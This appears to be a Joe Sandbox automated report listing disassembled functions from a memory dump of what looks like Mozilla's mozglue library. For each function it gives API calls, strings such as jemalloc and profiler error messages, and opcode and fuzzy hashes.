String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 0f2f3cde56ae256f8e4f2838535945ccd874a002808d56f1c33e8a395cb1cd4e
Instruction ID: e335c5896470117f24a1d7905bca94b85fc95766e42619db47664e281dacefd1
Opcode Fuzzy Hash: 0f2f3cde56ae256f8e4f2838535945ccd874a002808d56f1c33e8a395cb1cd4e
Instruction Fuzzy Hash: 23325F706083818FD324CF64C4906AEF7E2AFCA318F54892DE59987751DB31E94ACB5B

Function 6C697E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

(pre-xul), xrefs: 6C697E88
name, xrefs: 6C697ECF, 6C698335
vml, xrefs: 6C698207
data, xrefs: 6C698280, 6C6983E1
schema, xrefs: 6C6981E3, 6C698311

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vml
API String ID: 3412268980-1127494330
Opcode ID: 50d35162e2be8bb4c1390a11102234f542ceebbfd6a3dbc931716a11d87444ef
Instruction ID: d705e3e16f5a66896cbab592bcc7b139a249099473c9c99f12f19ba6965382d3
Opcode Fuzzy Hash: 50d35162e2be8bb4c1390a11102234f542ceebbfd6a3dbc931716a11d87444ef
Instruction Fuzzy Hash: 95E17EB1A043418BC710CF69884065BFBE9FBC5318F154A2DE899D7790DBB0ED498B9A

Function 6C6B5FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C6B6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C6B6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(Qel,?), ref: 6C6B6046
OutputDebugStringA.KERNEL32(?,Qel,?), ref: 6C6B6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6B6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6B6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6B6082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C6D148E), ref: 6C6B6091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,Qel,00000000,?), ref: 6C6B60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6B60C4

Strings

Qel, xrefs: 6C6B5FFC, 6C6B6042, 6C6B6045, 6C6B60B3

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: Qel
API String ID: 3835517998-143502305
Opcode ID: a4574409b69409ae6be25b6d807e4b3fa98b40acfd1afdc6698b14afde359f41
Instruction ID: 0bee4949a3c12674624caf69fdf099db811cb994a11b43c0f01aa4cdd0b21ba7
Opcode Fuzzy Hash: a4574409b69409ae6be25b6d807e4b3fa98b40acfd1afdc6698b14afde359f41
Instruction Fuzzy Hash: 5F21C971A002089FDF105F25DC89AAE7BB8FF85714F008428E95AD7241CB75B559CFEA

Function 6C675E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2
memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C6761F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C677652

Strings

ewkl, xrefs: 6C675E9C, 6C675F22, 6C6761ED
MOZ_CRASH(), xrefs: 6C677BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6772F8
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C67730D
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C677BCD, 6C677C1F, 6C677C34, 6C6780FD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6772E3

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ewkl
API String ID: 2613674957-540203688
Opcode ID: 680c48dcf9b31852c235396ec589b556973e22b603f0989a5bb0c17bd00a9d83
Instruction ID: 13738e89483b599a26ee7064ab1de4d6f5ddb4f79b35eb5c83b6c5f952d12e41
Opcode Fuzzy Hash: 680c48dcf9b31852c235396ec589b556973e22b603f0989a5bb0c17bd00a9d83
Instruction Fuzzy Hash: 9C33BC716067018FC325CF28C590615BBE2FF85328F29CBADE8698B7A5D731E841CB59

Function 6C6A4820 Relevance: 18.2, APIs: 1, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C6A4DB8, 6C6A4DD8
ml, xrefs: 6C6A4F88
ProfileBuffer parse error: %s, xrefs: 6C6A4DD9
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C6A4D0A
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C6A4D65
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C6A4CAF
data, xrefs: 6C6A49B4
-%llu, xrefs: 6C6A4825
schema, xrefs: 6C6A48C1

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free
String ID: ml$-%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-1201911369
Opcode ID: 8a0ca586c4e7f85565d8d4fcc1a4a0eb16d418c4a01c2afc4310c15e1857a3e3
Instruction ID: 8fcfe4031aeec2e59cb8cdb0fc181e9fe1cd57aec7edbe6baab26d8344da2cb0
Opcode Fuzzy Hash: 8a0ca586c4e7f85565d8d4fcc1a4a0eb16d418c4a01c2afc4310c15e1857a3e3
Instruction Fuzzy Hash: 90723F71958B858BD361CF34C4513ABF7E5BFDA344F108B1DE48A6B610EB70A886CB46

Function 6C67D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D4F2
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D50B

Part of subcall function 6C65CFE0: EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
Part of subcall function 6C65CFE0: LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D52E
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67D6A6
LeaveCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D712
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C67D82C
<jemalloc>, xrefs: 6C67D827

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 87ce9bd5f3aff67cde588faddb11a27f5e74e8bb6ca9c4638c38cf2c6ce1d661
Instruction ID: 8e5b2784bc4e44ae93db445447a53da21b8530f242c60e12b6fd494aaa9eed1f
Opcode Fuzzy Hash: 87ce9bd5f3aff67cde588faddb11a27f5e74e8bb6ca9c4638c38cf2c6ce1d661
Instruction Fuzzy Hash: 1991C471A047018FD764CF29C49076AB7E1EB89318F158D2EE55AC7B81D734E844CBAA

Function 6C6B4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C6B4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4F2E
moz_xmalloc.MOZGLUE ref: 6C6B4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C6B4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B52E6
Sleep.KERNEL32(00000010), ref: 6C6B5481
free.MOZGLUE(?), ref: 6C6B5498

Strings

(, xrefs: 6C6B5250

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: fb8675555285ac875c3de1cb55c2b124986113e0b03f320fa3a58dae27b9f0f6
Instruction ID: 4fb74f4d0ce92a9ec60c45ee6cd4a51cd83b2aaa59eff681b535a05e015bdd44
Opcode Fuzzy Hash: fb8675555285ac875c3de1cb55c2b124986113e0b03f320fa3a58dae27b9f0f6
Instruction Fuzzy Hash: E1F1B271A19B408FC716CF39C89062BB7F5AFE6384F058B2EF846A7651DB31D4428B85

Function 6C6B7030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C6B7046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C6B7060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6B707E

Part of subcall function 6C6681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C6681DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6B7096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6B709C
LocalFree.KERNEL32(?), ref: 6C6B70AA

Strings

### ERROR: %s: %s, xrefs: 6C6B7087
(null), xrefs: 6C6B706A, 6C6B7083

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: ce8d0fb66b92e3399222ad7a9346f7dc74236a9480add317baecaae70e8de34d
Instruction ID: 50a75a8df81bdbf4fbc7667b6d45fd098a4b3753a183403824a3fb99ba76178c
Opcode Fuzzy Hash: ce8d0fb66b92e3399222ad7a9346f7dc74236a9480add317baecaae70e8de34d
Instruction Fuzzy Hash: 0501B9B1A00105AFDB005BA5DC8ADAF7BBCEF89255F010425FA05A3241D6717918CBA9

Function 6C679E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C679EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C679F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C679F34
LeaveCriticalSection.KERNEL32(?), ref: 6C67A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C67A8B1, 6C67A8D4, 6C67A8EF

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: db17d2bc2b6b705c310f098b49b2b29c2677901b78e74add1f0f3777c2b96d9c
Instruction ID: c1827dcb3a360c7d673e696c750ffb37eae7622c7899b4964e0a10ca42f943cf
Opcode Fuzzy Hash: db17d2bc2b6b705c310f098b49b2b29c2677901b78e74add1f0f3777c2b96d9c
Instruction Fuzzy Hash: BA728D72A157118FD324CF28C540615FBE1BF89328F29CB6DE8698B792D335E841CB94

Function 6C6A2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C6A2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C6A2C61

Part of subcall function 6C654DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
Part of subcall function 6C654DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6A2E2D

Part of subcall function 6C6681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C6681DE

Strings

(root), xrefs: 6C6A354F
ProfileBuffer parse error: %s, xrefs: 6C6A2E3B
expected a Time entry, xrefs: 6C6A2E36

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 02e4312583ca8ec7a0c251b38ac92e337338f3bd8d8f9d95d7f3126bcdc41898
Instruction ID: c45b159c50666698707fa0529ec4367b72d96f9d0c3f7e5a65ee094248517380
Opcode Fuzzy Hash: 02e4312583ca8ec7a0c251b38ac92e337338f3bd8d8f9d95d7f3126bcdc41898
Instruction Fuzzy Hash: 4191CF706087408FC724DF65C48469EF7E1AFCA358F10492DE99A8B751DB30E94ACB5B

Function 6C6B9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C6B9F3D
__aulldiv.LIBCMT ref: 6C6B9F77
__aullrem.LIBCMT ref: 6C6B9F8C
__aulldiv.LIBCMT ref: 6C6BA023

Strings

-Infinity, xrefs: 6C6B9E60, 6C6B9E7B
NaN, xrefs: 6C6B9EAB

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 21a65f7a866fa2667de0635a79a97d547c177c83f3e04dd9208901693037bd90
Instruction ID: cec4c0ba687317817b06540f2b3d32a47266ace032b3340d36d16366b67eb18d
Opcode Fuzzy Hash: 21a65f7a866fa2667de0635a79a97d547c177c83f3e04dd9208901693037bd90
Instruction Fuzzy Hash: FDC1DE31E043188BDB14CFA8C8907DEB7B6FF85318F544529D40ABBB81DB70A959CB99

Function 6C65D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

0, xrefs: 6C65DC7F
@, xrefs: 6C65DAF6
8, xrefs: 6C65DC08
, xrefs: 6C65DA88
0, xrefs: 6C65D852
1, xrefs: 6C65DBDD
9, xrefs: 6C65DE7F
-, xrefs: 6C65D7DD

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: f7c7fb8722b8d40fa9d8c16e59a2d3bee432b4aa4bab75384451ff90da6f604b
Instruction ID: 0aa39ac45e123d66a3a14887cae5e2a87215a2a65c9adc49dc6c57d26949dd6f
Opcode Fuzzy Hash: f7c7fb8722b8d40fa9d8c16e59a2d3bee432b4aa4bab75384451ff90da6f604b
Instruction Fuzzy Hash: A262CF7060C3458FD701CF19C69079ABBF2AF86358FB84A0DE4D54BAD1C33599A5CB8A

Function 6C6C545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6C8A4B

Strings

~qel, xrefs: 6C6C5740, 6C6C56C7, 6C6C921F, 6C6C9459, 6C6C5703, 6C6C9269, 6C6C948F

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset
String ID: ~qel
API String ID: 2221118986-2736371781
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 01af520261224d43aa745bc0de72f0653f0550fdd9b9ffcc5ee0159283b6d2d5
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 0BB1F772F0021A8FDB24CF68CC907E9B7B2EF85318F1802AAC549DB791D7349985CB95

Function 6C6C542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6C88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C6C925C

Strings

~qel, xrefs: 6C6C5740, 6C6C56C7, 6C6C921F, 6C6C9459, 6C6C5703, 6C6C9269, 6C6C948F

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset
String ID: ~qel
API String ID: 2221118986-2736371781
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 847e3582a78b901618d98ce7101b713317aa8019d6372db2b3185b55660006ee
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: ABB1E572F0420A8BCB14CE58CC816EDB7B2EF85314F14426AC949DB795D734A989CB95

Function 6C6BC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6BC0E9), ref: 6C6BC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C6BC437
FreeLibrary.KERNEL32(?,6C6BC0E9), ref: 6C6BC44C

Strings

ntdll.dll, xrefs: 6C6BC413
NtQueryVirtualMemory, xrefs: 6C6BC431

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: d4ad702163dedae234b04c25129513d6ca49606b68d6455ed9a7693a3667c5d7
Instruction ID: 0baf2aa69d8cf0f9d1a80e002f6a0c30601aa36f70604daba40d504ae963cc98
Opcode Fuzzy Hash: d4ad702163dedae234b04c25129513d6ca49606b68d6455ed9a7693a3667c5d7
Instruction Fuzzy Hash: 14E0B670B01302ABDF007F73C9887127BF8AB46745F044516AB0592614EBB0F652CB5F

Function 6C669F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

' , xrefs: 6C66A3D8
0, xrefs: 6C66AB22
9, xrefs: 6C66A5D6
0, xrefs: 6C66A100
@, xrefs: 6C66A625
1, xrefs: 6C66A824

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

